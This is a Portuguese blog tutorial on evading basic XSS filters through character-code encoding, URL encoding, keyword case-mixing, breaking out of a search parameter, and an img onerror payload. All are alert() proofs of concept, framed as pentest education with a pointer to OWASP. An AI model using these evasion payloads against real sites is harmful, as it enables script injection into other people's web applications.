Evitando filtros básicos de XSS

image_pdfimage_print

Hoje em dia, alguns sites estão mais protegidos contra ataques XSS, fazendo alguns filtros que não permitem o ataque, entretanto, nós podemos evitar estes filtros através de alguns métodos que iremos ver mais abaixo:

  1. Bypass magic_quotes_gpc (se estiver ligado)
  2. Bypass com criptografia do html
  3. Bypass com ofuscação
  4. Bypass com com uma solução de contorno

Bypass magic_quotes_gpc

Quando o magic_quotes_gpc está ligado no PHP, significa que o servidor não permite a aspa dupla , a barra / e aspa simples , e para ignorar isto precisamos usar String.fromCharCode(). Nós escrevemos o nosso código dentro dos parênteses convertido em ASCII decimal separados por vírgula. Veja o exemplo de como seria um alert() comum:

<script>alert("XSS!")</script>

Precisamos converter o texto interno para ASCII incluí-lo entre os parênteses do String.fromCharCode() da seguinte forma:

<script>alert(String.fromCharCode("XSS!"))</script>

E usamos ele para o bypass da seguinte forma:

<script>alert(String.fromCharCode(88,83,83,33))</script

Duas observações importantes:

  1. Remova os zeros da frente dos números ASCII e separe com vírgula, como no exemplo;
  2. Não precisa utilizar as aspas duplas do alert comum, podendo inserir direto o texto ASCII.

Bypass com criptografia do HTML

Este método é simples e só precisamos codificar nosso código HTML em HTTP. Nosso código de alert normal é:

<script>alert("XSS!")</script>

E ficará assim:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%21%22%29%3C%2F%73%63%72%69%70%74%3E

E agora você pode usá-lo para injetar o XSS.

Bypass por ofuscação

Também é muito simples. Este filtro normalmente é utilizado para evitar palavaras-chave, como: script, alert, etc. Neste caso, precisamos alterar um pouco a característica das palavras, como:

  • sCriPt
  • aLeRt

Ficando com o código da seguinte forma:

<sCriPt>alERt("XSS!")</sCrIpt>

Bypass por outros métodos

Geralmente nos scripts de busca, somente precisamos adicionar um “> no começo para fechar o campo atual, por exemplo:

http://sitealvodopentest.com/search.php?search="><script>alert("XSS!")</script>

E desta forma conseguimos ignorar no filtro.

Alerta no onerror

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

Veja mais alguns exemplos interessantes sobre como ignorar os filtros XSS no site da OWASP.

E abaixo está uma lista que achei no Github:

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Tenho interesse por todas as áreas da informática, mas em especial em Gestão, Segurança da Informação, Ethical Hacking e Perícia Forense. Sempre disposto a receber sugestões de assuntos para criar uma postagem.

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Quer ficar atualizado?

Inscreva-se em minha newsletter e seja notificado quando eu publicar novos artigos de graça!